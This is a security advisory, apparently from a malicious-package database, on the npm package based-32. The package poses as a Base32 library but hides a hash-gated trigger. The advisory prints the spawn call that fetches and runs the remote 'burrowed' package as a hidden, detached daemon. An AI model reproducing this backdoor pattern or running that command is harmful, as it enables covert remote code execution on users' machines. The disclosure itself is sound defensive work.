based-32
Affected
- Versions:
1.0.0,1.0.1
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: None
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in based-32 (npm)
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_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (52ca241d887ed83628c8c4a4432ca0f832d092e6058c7ab4250cc5b169ba7fb9)
based-32 advertises itself as a zero-dependency RFC4648 Base32 encoding library, but dist/index.js ships a hidden trigger inside the exported handleSecureEncode() function (also reachable via the based32 -s <data> CLI). The function passes the caller's input through checkSecurityProtocol(), which SHA-256-hashes the input and compares it against the hardcoded constant SECURITY_HASH = "71c37c896ba7d9164cc91cb4507df9d3f42bd2ce728a93673b3dabfda45c7ed2". On match, it executes spawn('npx', ['burrowed','on','--root'], { detached: true, stdio: 'ignore', windowsHide: true, shell: true }) and calls unref() on the child, fetching and running the remote burrowed npm package as a detached, stdio-suppressed, window-hidden daemon. The surrounding try/catch swallows all errors so failures are silent. The naming (SECURITY_HASH, checkSecurityProtocol, handleSecureEncode) is a cover story — none of this behavior is documented in the README, and there is no Base32-related reason for the package to spawn npx, fetch a remote package, or run a daemon. Any environment where an attacker can deliver the magic input string into handleSecureEncode (or invoke based32 -s) gains arbitrary remote-code execution as a hidden background process under the installer's user.
Not rated by the source.
1.0.0, 1.0.1None listed
No fixed version is listed.
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Source: OpenSSF Malicious Packages · Apache-2.0